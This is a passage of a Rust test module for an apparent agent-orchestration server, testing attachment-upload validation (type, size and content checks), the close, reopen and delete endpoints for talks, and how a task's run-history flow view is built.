15069            (400..500).contains(&svg.status),
15070            "svg must be refused: {} {}",
15071            svg.status,
15072            svg.body
15073        );
15074        assert!(svg.body.contains("SVG"), "{}", svg.body);
15075
15076        let text = f
15077            .post_bytes(
15078                &format!("/api/talks/{id}/attachments"),
15079                &[("Content-Type", "text/plain")],
15080                b"just some text",
15081            )
15082            .await;
15083        assert!(
15084            (400..500).contains(&text.status),
15085            "an unlisted type must be refused: {} {}",
15086            text.status,
15087            text.body
15088        );
15089
15090        // The declared type is a real png, but the size check runs before
15091        // the bytes are even looked at.
15092        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
15093        let big = f
15094            .post_bytes(
15095                &format!("/api/talks/{id}/attachments"),
15096                &[("Content-Type", "image/png")],
15097                &oversized,
15098            )
15099            .await;
15100        assert_eq!(
15101            big.status,
15102            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
15103            "{}",
15104            big.body
15105        );
15106    }
15107
15108    #[tokio::test]
15109    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
15110        let f = Fixture::start().await;
15111        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
15112
15113        // A whitelisted `Content-Type`, but bytes that are not actually a
15114        // png - the declared header alone is never trusted.
15115        let res = f
15116            .post_bytes(
15117                &format!("/api/talks/{id}/attachments"),
15118                &[("Content-Type", "image/png")],
15119                b"<html>not a picture</html>",
15120            )
15121            .await;
15122        assert!((400..500).contains(&res.status), "{}", res.body);
15123    }
15124
15125    #[tokio::test]
15126    async fn an_unknown_attachment_id_is_a_404() {
15127        let f = Fixture::start().await;
15128        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15129
15130        let res = f
15131            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15132            .await;
15133        assert_eq!(res.status, 404, "{}", res.body);
15134    }
15135
15136    #[tokio::test]
15137    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15138        let f = Fixture::start().await;
15139        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15140
15141        let uploaded = f
15142            .post_bytes(
15143                &format!("/api/talks/{id}/attachments"),
15144                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15145                PNG_BYTES,
15146            )
15147            .await;
15148        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15149        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
15150
15151        let res = f
15152            .post(
15153                &format!("/api/talks/{id}/say"),
15154                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
15155            )
15156            .await;
15157        assert_eq!(res.status, 202, "{}", res.body);
15158        let queued = res.json();
15159        let turns = queued["turns"].as_array().expect("turns array");
15160        assert_eq!(
15161            turns.len(),
15162            1,
15163            "an empty body with an attachment is still a turn: {queued}"
15164        );
15165        assert_eq!(turns[0]["who"], "operator");
15166        assert_eq!(turns[0]["body"], "");
15167        let atts = turns[0]["attachments"]
15168            .as_array()
15169            .expect("attachments array");
15170        assert_eq!(atts.len(), 1);
15171        assert_eq!(atts[0]["id"], att_id);
15172        assert_eq!(atts[0]["mime"], "image/png");
15173
15174        // Not only in the response: `record` flushes to disk before the
15175        // agent's own turn is even spawned.
15176        let on_disk = f.talks().get(&id).expect("get");
15177        assert_eq!(on_disk.turns[0].attachments.len(), 1);
15178        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
15179    }
15180
15181    #[tokio::test]
15182    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
15183        let f = Fixture::start().await;
15184        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
15185
15186        let res = f
15187            .post(
15188                &format!("/api/talks/{id}/say"),
15189                Some(&format!(
15190                    r#"{{"text":"hi","attachments":["{}"]}}"#,
15191                    "a".repeat(32)
15192                )),
15193            )
15194            .await;
15195        assert!((400..500).contains(&res.status), "{}", res.body);
15196        assert!(res.body.contains("unknown attachment"), "{}", res.body);
15197
15198        let on_disk = f.talks().get(&id).expect("get");
15199        assert!(
15200            on_disk.turns.is_empty(),
15201            "a rejected attachment id must not partially record the turn: {:?}",
15202            on_disk.turns
15203        );
15204    }
15205
15206    #[tokio::test]
15207    async fn talk_close_makes_the_talk_refuse_further_turns() {
15208        let f = Fixture::start().await;
15209        let id = seed_talk(&f, "20260904-014455-cd34", "open");
15210
15211        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15212        assert_eq!(closed.status, 200, "{}", closed.body);
15213        assert_eq!(closed.json()["status"], "closed");
15214
15215        // Idempotent: closing an already-closed talk is not an error.
15216        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
15217        assert_eq!(closed_again.status, 200);
15218        assert_eq!(closed_again.json()["status"], "closed");
15219
15220        let said = f
15221            .post(
15222                &format!("/api/talks/{id}/say"),
15223                Some(r#"{"text":"too late"}"#),
15224            )
15225            .await;
15226        assert_eq!(said.status, 409, "{}", said.body);
15227    }
15228
15229    #[tokio::test]
15230    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
15231        let (_tmp, _repo, f) = talk_fixture().await;
15232        let id = f.post("/api/talks", None).await.json()["id"]
15233            .as_str()
15234            .expect("id")
15235            .to_owned();
15236        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15237        assert_eq!(closed.status, 200, "{}", closed.body);
15238
15239        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15240        assert_eq!(reopened.status, 200, "{}", reopened.body);
15241        assert_eq!(reopened.json()["status"], "open");
15242
15243        // Idempotent: reopening an already-open talk is not an error.
15244        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15245        assert_eq!(reopened_again.status, 200);
15246        assert_eq!(reopened_again.json()["status"], "open");
15247
15248        let said = f
15249            .post(
15250                &format!("/api/talks/{id}/say"),
15251                Some(r#"{"text":"still there?"}"#),
15252            )
15253            .await;
15254        assert_eq!(
15255            said.status, 202,
15256            "a reopened talk accepts turns again: {}",
15257            said.body
15258        );
15259    }
15260
15261    #[tokio::test]
15262    async fn talk_reopen_on_an_unknown_id_is_404() {
15263        let f = Fixture::start().await;
15264        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
15265        assert_eq!(res.status, 404, "{}", res.body);
15266    }
15267
15268    #[tokio::test]
15269    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
15270        let f = Fixture::start().await;
15271        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
15272
15273        let deleted = f.delete(&format!("/api/talks/{id}")).await;
15274        assert_eq!(deleted.status, 204, "{}", deleted.body);
15275
15276        let after = f.get(&format!("/api/talks/{id}")).await;
15277        assert_eq!(after.status, 404, "{}", after.body);
15278
15279        let listed = f.get("/api/talks").await.json();
15280        assert!(
15281            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
15282            "a deleted talk must not linger in the list: {listed}"
15283        );
15284    }
15285
15286    #[tokio::test]
15287    async fn talk_delete_on_an_unknown_id_is_404() {
15288        let f = Fixture::start().await;
15289        let res = f.delete("/api/talks/nonexistent-id").await;
15290        assert_eq!(res.status, 404, "{}", res.body);
15291    }
15292
15293    /// A task's page lists every run it ever had, in order, and says what kind
15294    /// of attempt each was - including a resume, which re-pushes the same run
15295    /// id, and a run whose record this build cannot read.
15296    #[tokio::test]
15297    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
15298        let f = Fixture::start().await;
15299        let (a, b, gone) = (
15300            "20260902-140501-aaaa",
15301            "20260902-140502-bbbb",
15302            "20260902-140503-cccc",
15303        );
15304        write_run(&f.runs(), a, RunStatus::Stalled);
15305        let mut review = RunState::new(
15306            PathBuf::from("/repo/magi"),
15307            "main".to_owned(),
15308            "0123456789abcdef".to_owned(),
15309            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
15310                .to_owned(),
15311            Config::default(),
15312        );
15313        review.id = b.to_owned();
15314        review.status = RunStatus::Merged;
15315        write_state(&f.runs(), &review);
15316
15317        let mut task = Task::new(
15318            "retry".to_owned(),
15319            "Do the thing".to_owned(),
15320            PathBuf::from("/repo/magi"),
15321            Source::Human,
15322        );
15323        task.start(a.to_owned());
15324        task.stall("quota");
15325        task.start(a.to_owned());
15326        task.start(b.to_owned());
15327        task.start(gone.to_owned());
15328        // This fixture models an older queue file with repeated run entries.
15329        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
15330        f.queue().put(&mut task).expect("file the task");
15331
15332        let res = f.get(&format!("/api/queue/{}", task.id)).await;
15333        assert_eq!(res.status, 200, "{}", res.body);
15334        let v = res.json();
15335        let h = v["history"].as_array().expect("history");
15336        assert_eq!(h.len(), 4, "{v}");
15337        assert_eq!(h[0]["kind"], "competition");
15338        assert_eq!(h[0]["status"], "stalled");
15339        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
15340        assert_eq!(h[1]["kind"], "resume", "{v}");
15341        assert!(
15342            h[0]["outcome"]
15343                .as_str()
15344                .unwrap()
15345                .contains("unknown. Pass #2"),
15346            "an earlier pass of a resumed run must not claim the final outcome: {v}"
15347        );
15348        assert!(
15349            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
15350            "{v}"
15351        );
15352        assert!(
15353            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
15354            "an unrecorded cause must not be narrated as an operator park: {v}"
15355        );
15356        assert_eq!(h[2]["kind"], "review");
15357        assert!(
15358            h[2]["description"]
15359                .as_str()
15360                .unwrap()
15361                .contains("magi/aaaa/A")
15362        );
15363        assert_eq!(h[2]["status"], "merged");
15364        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
15365        assert_eq!(v["runs_unreadable"], 1);
15366        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
15367        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
15368        assert_eq!(nodes[4]["note"], "unreadable");
15369        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
15370        assert_eq!(v["instruction"], "Do the thing");
15371        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
15372
15373        // The run's own page links back to the task.
15374        let run = f.get(&format!("/api/runs/{a}")).await.json();
15375        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
15376
15377        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
15378    }
15379
15380    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
15381        let mut s = RunState::new(
15382            PathBuf::from("/repo/magi"),
15383            "main".to_owned(),
15384            "0123456789abcdef".to_owned(),
15385            "Do it".to_owned(),
15386            Config::default(),
15387        );
15388        s.status = status;
15389        edit(&mut s);
15390        s
15391    }
15392
15393    fn flow_task(runs: &[&str]) -> Task {
15394        let mut t = Task::new(
15395            "t".to_owned(),
15396            "Do it".to_owned(),
15397            PathBuf::from("/repo/magi"),
15398            Source::Human,
15399        );
15400        for r in runs {
15401            t.start((*r).to_owned());
15402        }
15403        // Synthetic flows without RunPass records model legacy queue data.
15404        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15405        t
15406    }
15407
15408    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
15409        let h = task_history(task, |id| {
15410            states
15411                .iter()
15412                .find(|(i, _)| *i == id)
15413                .and_then(|(_, s)| s.clone())
15414        });
15415        task_flow(task, &h, 5, None)
15416    }
15417
15418    #[test]
15419    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
15420        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
15421        let created = "2026-10-10T01:00:00Z".parse().unwrap();
15422        let first = "2026-10-10T02:00:00Z".parse().unwrap();
15423        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
15424        let held = "2026-10-10T04:00:00Z".parse().unwrap();
15425        let run = flow_run(RunStatus::Implementing, |s| {
15426            s.created_at = created;
15427            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
15428            s.passes[0].started_at = first;
15429            s.passes[1].started_at = resumed;
15430        });
15431        let mut task = flow_task(&[RUN_X, RUN_X]);
15432        task.created_at = queued;
15433        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
15434        task.status = TaskStatus::Held;
15435        task.held_at = Some(held);
15436        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
15437        assert_eq!(
15438            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
15439            vec![Some(queued), Some(first), Some(resumed), Some(held)]
15440        );
15441        assert!(flow.nodes.iter().all(|n| n.time_expected));
15442        let json = serde_json::to_value(&flow).unwrap();
15443        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
15444        assert_eq!(json["nodes"][2]["time_expected"], true);
15445    }
15446
15447    #[test]
15448    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
15449        let created = "2026-10-10T01:00:00Z".parse().unwrap();
15450        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
15451        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
15452        // These timestamps are not the start of the current status.
15453        task.held_at = Some(created);
15454        task.blocked_at = Some(created);
15455        for status in [
15456            TaskStatus::Queued,
15457            TaskStatus::Running,
15458            TaskStatus::Blocked,
15459            TaskStatus::Done,
15460            TaskStatus::Failed,
15461            TaskStatus::Parked,
15462            TaskStatus::Held,
15463        ] {
15464            task.status = status;
15465            if status == TaskStatus::Held {
15466                task.held_at = None;
15467            }
15468            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
15469            assert_eq!(flow.nodes[1].started_at, Some(created));
15470            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
15471            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
15472            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
15473            let json = serde_json::to_value(&flow).unwrap();
15474            assert!(json["nodes"][3]["started_at"].is_null());
15475            assert_eq!(json["nodes"][3]["time_expected"], true);
15476        }
15477    }
15478
15479    #[test]
15480    fn flow_context_links_do_not_expect_start_times() {
15481        let mut task = flow_task(&[]);
15482        task.source = Source::Agent {
15483            run: "chat-id".to_owned(),
15484            node: "chat".to_owned(),
15485        };
15486        let origin = followup_origin(&fu(None), |_| None, |_| None);
15487        let flow = task_flow(&task, &[], 5, Some(&origin));
15488        for node in &flow.nodes[..2] {
15489            assert!(!node.time_expected);
15490            assert_eq!(node.started_at, None);
15491        }
15492        assert!(flow.nodes[2].time_expected);
15493    }
15494
15495    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
15496        crate::queue::FollowUp {
15497            run: "20260901-000000-aaaa".to_owned(),
15498            origin_task: origin_task.map(str::to_owned),
15499            pr: "https://example.com/o/r/pull/1".to_owned(),
15500            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
15501                .map(str::to_owned)
15502                .to_vec(),
15503            generation: 1,
15504        }
15505    }
15506
15507    fn parent_task() -> Task {
15508        let mut p = flow_task(&[]);
15509        p.title = "Parent title".to_owned();
15510        p.status = TaskStatus::Done;
15511        p
15512    }
15513
15514    #[test]
15515    fn flow_opens_with_the_parent_task_of_a_followup() {
15516        let p = parent_task();
15517        let pid = p.id.clone();
15518        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
15519        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15520        let n = &f.nodes[0];
15521        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
15522        assert_eq!(
15523            n.label,
15524            format!("Follow-up of {}", crate::queue::short(&pid))
15525        );
15526        assert_eq!(n.detail.as_deref(), Some("Parent title"));
15527        assert_eq!(n.status, Some("done"));
15528        assert_eq!(n.status_of, "task");
15529        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
15530        assert_eq!(f.nodes[1].key, "start");
15531        assert_eq!(f.edges[0].from, "origin");
15532        assert_eq!(
15533            f.edges[0].label,
15534            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
15535        );
15536    }
15537
15538    #[test]
15539    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
15540        let o = followup_origin(
15541            &fu(Some("gone")),
15542            |_| None,
15543            |_| {
15544                Some(RunState::new(
15545                    std::path::PathBuf::from("."),
15546                    "main".to_owned(),
15547                    "0".to_owned(),
15548                    "t".to_owned(),
15549                    crate::config::Config::default(),
15550                ))
15551            },
15552        );
15553        assert!(o.parent.is_none());
15554        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15555        let n = &f.nodes[0];
15556        assert_eq!(n.status_of, "run");
15557        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
15558        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
15559    }
15560
15561    #[test]
15562    fn flow_followup_with_nothing_readable_has_no_link() {
15563        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
15564        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
15565        let n = &f.nodes[0];
15566        assert_eq!(n.href, None);
15567        assert_eq!(n.note, Some("unreadable"));
15568        assert!(!n.readable);
15569    }
15570
15571    #[test]
15572    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
15573        let o = followup_origin(&fu(None), |_| None, |_| None);
15574        let mut t = flow_task(&[]);
15575        t.origin_chat = Some("c1".to_owned());
15576        let f = task_flow(&t, &[], 5, Some(&o));
15577        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
15578        t.source = Source::Agent {
15579            run: "c1".to_owned(),
15580            node: crate::queue::CHAT_NODE.to_owned(),
15581        };
15582        let f = task_flow(&t, &[], 5, Some(&o));
15583        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
15584        assert_eq!(
15585            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
15586            ("chat", "origin")
15587        );
15588    }
15589
15590    #[test]
15591    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
15592        let mut p = parent_task();
15593        p.id = "a b/c".to_owned();
15594        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
15595        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
15596    }
15597
15598    #[test]
15599    fn flow_opens_with_the_chat_that_queued_the_task() {
15600        let mut t = flow_task(&[]);
15601        t.source = Source::Agent {
15602            run: "a b/c".to_owned(),
15603            node: crate::queue::CHAT_NODE.to_owned(),
15604        };
15605        let f = flow_for(&t, &[]);
15606        assert_eq!(f.nodes[0].key, "chat");
15607        assert_eq!(f.nodes[0].kind, "chat");
15608        assert_eq!(
15609            f.nodes[0].label,
15610            format!("Chat {}", crate::queue::short("a b/c"))
15611        );
15612        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
15613        assert_eq!(f.nodes[1].key, "start");
15614        assert_eq!(
15615            f.edges[0],
15616            FlowEdge {
15617                from: "chat".to_owned(),
15618                to: "start".to_owned(),
15619                label: "queued from chat".to_owned(),
15620                attempt: AttemptCost::None,
15621            }
15622        );
15623    }
15624
15625    #[test]
15626    fn flow_has_no_chat_box_for_other_sources() {
15627        for source in [
15628            Source::Human,
15629            Source::Issue {
15630                number: 3,
15631                repo: "o/r".to_owned(),
15632            },
15633            Source::Agent {
15634                run: "20260904-014455-ab12".to_owned(),
15635                node: "implement".to_owned(),
15636            },
15637        ] {
15638            let mut t = flow_task(&[]);
15639            t.source = source;
15640            let f = flow_for(&t, &[]);
15641            assert_eq!(f.nodes[0].key, "start");
15642            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
15643            assert!(f.edges.iter().all(|e| e.from != "chat"));
15644        }
15645    }
15646
15647    const FA: &str = "20260902-140501-aaaa";
15648    const FB: &str = "20260902-140502-bbbb";
15649
15650    #[test]
15651    fn flow_follows_blocked_retry_merged_to_done() {
15652        let mut t = flow_task(&[FA, FB]);
15653        t.status = TaskStatus::Done;
15654        let f = flow_for(
15655            &t,
15656            &[
15657                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
15658                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
15659            ],
15660        );
15661        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
15662        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
15663        assert_eq!(f.edges.len(), 3);
15664        assert_eq!(f.edges[0].label, "claimed");
15665        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
15666        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
15667        assert_eq!(f.edges[2].label, "merged \u{2192} done");
15668        assert_eq!(
15669            f.nodes[2].href.as_deref(),
15670            Some("#/runs/20260902-140502-bbbb")
15671        );
15672        assert!(f.nodes[2].decided);
15673    }
15674
15675    #[test]
15676    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
15677        let quota = || {
15678            flow_run(RunStatus::Stalled, |s| {
15679                s.quota.push(crate::run::QuotaLoss {
15680                    seat: "judge-1".to_owned(),
15681                    node: "judge".to_owned(),
15682                    at: Timestamp::now(),
15683                    reset: None,
15684                })
15685            })
15686        };
15687        let mut t = flow_task(&[FA, FA]);
15688        t.status = TaskStatus::Queued;
15689        let f = flow_for(&t, &[(FA, Some(quota()))]);
15690        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
15691        assert_eq!(f.nodes[1].note, Some("interrupted"));
15692        assert_eq!(
15693            f.nodes[1].status, None,
15694            "no outcome copied onto an earlier pass"
15695        );
15696        assert_eq!(
15697            f.edges[1].attempt,
15698            AttemptCost::Unknown,
15699            "a resume does not prove the earlier pass was refunded"
15700        );
15701        assert!(f.edges[1].label.contains("resume the same run"));
15702        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
15703        assert_eq!(
15704            f.edges[2].label,
15705            "stalled after a resume, refund unknown \u{2192} queued"
15706        );
15707        assert!(!f.nodes[2].decided, "a stall is not a decision");
15708        assert_eq!(f.nodes[2].note, Some("no verdict"));
15709    }
15710
15711    #[test]
15712    fn flow_single_pass_quota_stall_is_refunded() {
15713        let t = flow_task(&[FA]);
15714        let f = flow_for(
15715            &t,
15716            &[(
15717                FA,
15718                Some(flow_run(RunStatus::Stalled, |s| {
15719                    s.quota.push(crate::run::QuotaLoss {
15720                        seat: "judge-1".to_owned(),
15721                        node: "judge".to_owned(),
15722                        at: Timestamp::now(),
15723                        reset: None,
15724                    })
15725                })),
15726            )],
15727        );
15728        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15729    }
15730
15731    #[test]
15732    fn flow_parked_refunds_and_stall_without_quota_spends() {
15733        let mut t = flow_task(&[FA]);
15734        t.status = TaskStatus::Queued;
15735        let f = flow_for(
15736            &t,
15737            &[(
15738                FA,
15739                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
15740            )],
15741        );
15742        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
15743        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15744        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
15745        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
15746        assert!(!f.nodes[1].decided);
15747    }
15748
15749    #[test]
15750    fn flow_keeps_an_unreadable_run_as_its_own_node() {
15751        let t = flow_task(&[FA, FB]);
15752        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
15753        assert_eq!(f.nodes[1].note, Some("unreadable"));
15754        assert!(!f.nodes[1].readable);
15755        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
15756        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
15757    }
15758
15759    #[test]
15760    fn flow_names_the_branch_of_a_review_only_run() {
15761        let t = flow_task(&[FA]);
15762        let f = flow_for(
15763            &t,
15764            &[(
15765                FA,
15766                Some(flow_run(RunStatus::Merged, |s| {
15767                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
15768                })),
15769            )],
15770        );
15771        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
15772        assert_eq!(
15773            f.nodes[1].detail.as_deref(),
15774            Some("review-only run of branch magi/x/A")
15775        );
15776    }
15777
15778    #[test]
15779    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
15780        let mut t = flow_task(&[FA]);
15781        t.status = TaskStatus::Held;
15782        let pr = crate::run::PrRecord {
15783            url: "https://example.test/pr/1".to_owned(),
15784            number: 1,
15785            state: "open".to_owned(),
15786            checks: "green".to_owned(),
15787            round: 0,
15788            rounds: 3,
15789            red_at_merge: Vec::new(),
15790        };
15791        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
15792        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
15793        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
15794        t.status = TaskStatus::Done;
15795        let f = flow_for(&t, &[(FA, Some(blocked))]);
15796        assert_eq!(f.edges[1].label, "closed by hand: task is done");
15797    }
15798
15799    #[test]
15800    fn flow_with_no_runs_goes_from_queued_to_queued() {
15801        let t = flow_task(&[]);
15802        let f = flow_for(&t, &[]);
15803        assert_eq!(f.nodes.len(), 2);
15804        assert_eq!(f.edges.len(), 1);
15805        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
15806        assert_eq!(f.edges[0].attempt, AttemptCost::None);
15807    }
15808
15809    /// A run parked mid-flight keeps a non-terminal status; the page must
15810    /// still say why it stopped and that the attempt came back.
15811    #[test]
15812    fn a_parked_non_terminal_run_is_explained_as_parked() {
15813        let mut s = RunState::new(
15814            PathBuf::from("/repo/magi"),
15815            "main".to_owned(),
15816            "0123456789abcdef".to_owned(),
15817            "Do it".to_owned(),
15818            Config::default(),
15819        );
15820        s.status = RunStatus::Implementing;
15821        s.parked = true;
15822        let task = Task::new(
15823            "t".to_owned(),
15824            "Do it".to_owned(),
15825            PathBuf::from("/repo/magi"),
15826            Source::Human,
15827        );
15828        let v = task_run_view(
15829            "20260902-140501-aaaa",
15830            Some(&s),
15831            RunSlot {
15832                n: 1,
15833                resumed: false,
15834                resumed_later: None,
15835                prior: None,
15836                last: true,
15837                ..RunSlot::default()
15838            },
15839            &task,
15840        );
15841        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
15842    }
15843
15844    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
15845        let mut s = flow_run(RunStatus::Implementing, edit);
15846        s.parked = false;
15847        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
15848        task_run_view(
15849            "20260902-140501-aaaa",
15850            Some(&s),
15851            RunSlot {
15852                n: 1,
15853                resumed: false,
15854                resumed_later: Some(2),
15855                prior: None,
15856                last: false,
15857                ..RunSlot::default()
15858            },
15859            &task,
15860        )
15861    }
15862
15863    #[test]
15864    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
15865        let v = earlier_pass_view(|_| {});
15866        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
15867        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
15868        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
15869        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
15870        assert_eq!(v.exit, RunExit::Interrupted);
15871        assert_eq!(v.attempt, AttemptCost::Unknown);
15872    }
15873
15874    #[test]
15875    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
15876        let v = earlier_pass_view(|s| {
15877            s.quota.push(crate::run::QuotaLoss {
15878                seat: "judge-1".to_owned(),
15879                node: "judge".to_owned(),
15880                at: Timestamp::now(),
15881                reset: None,
15882            });
15883        });
15884        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
15885        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
15886        assert_eq!(v.attempt, AttemptCost::Unknown);
15887    }
15888
15889    #[test]
15890    fn the_current_pass_states_its_recorded_cause_and_cost() {
15891        let slot = || RunSlot {
15892            n: 1,
15893            resumed: false,
15894            resumed_later: None,
15895            prior: None,
15896            last: true,
15897            ..RunSlot::default()
15898        };
15899        let task = flow_task(&["20260902-140501-aaaa"]);
15900        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
15901        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
15902        assert_eq!(
15903            (v.exit, v.attempt),
15904            (RunExit::Parked, AttemptCost::Refunded)
15905        );
15906        let spent = flow_run(RunStatus::Blocked, |_| {});
15907        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
15908        assert_eq!(v.attempt, AttemptCost::Spent);
15909        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
15910    }
15911
15912    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
15913        crate::run::RunPass {
15914            index,
15915            started_at: Timestamp::now(),
15916            resumed: index > 0,
15917            ended_at: end.as_ref().map(|_| Timestamp::now()),
15918            end,
15919            task_entry: true,
15920        }
15921    }
15922
15923    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
15924        Some(crate::run::PassEnd::Parked { cause })
15925    }
15926
15927    fn upgrade_cause() -> crate::run::ParkCause {
15928        crate::run::ParkCause::Upgrade {
15929            from: "0.121.0".to_owned(),
15930            to: Some("0.121.1".to_owned()),
15931        }
15932    }
15933
15934    fn settled_pass(
15935        run: &str,
15936        index: usize,
15937        cost: crate::queue::PassCost,
15938    ) -> crate::queue::TaskPass {
15939        crate::queue::TaskPass {
15940            run: run.to_owned(),
15941            pass_index: index,
15942            started_at: None,
15943            cost,
15944            attempts_after: 1,
15945            settled_at: Timestamp::now(),
15946            parked: None,
15947        }
15948    }
15949
15950    const RUN_X: &str = "20261011-223708-4334";
15951
15952    #[test]
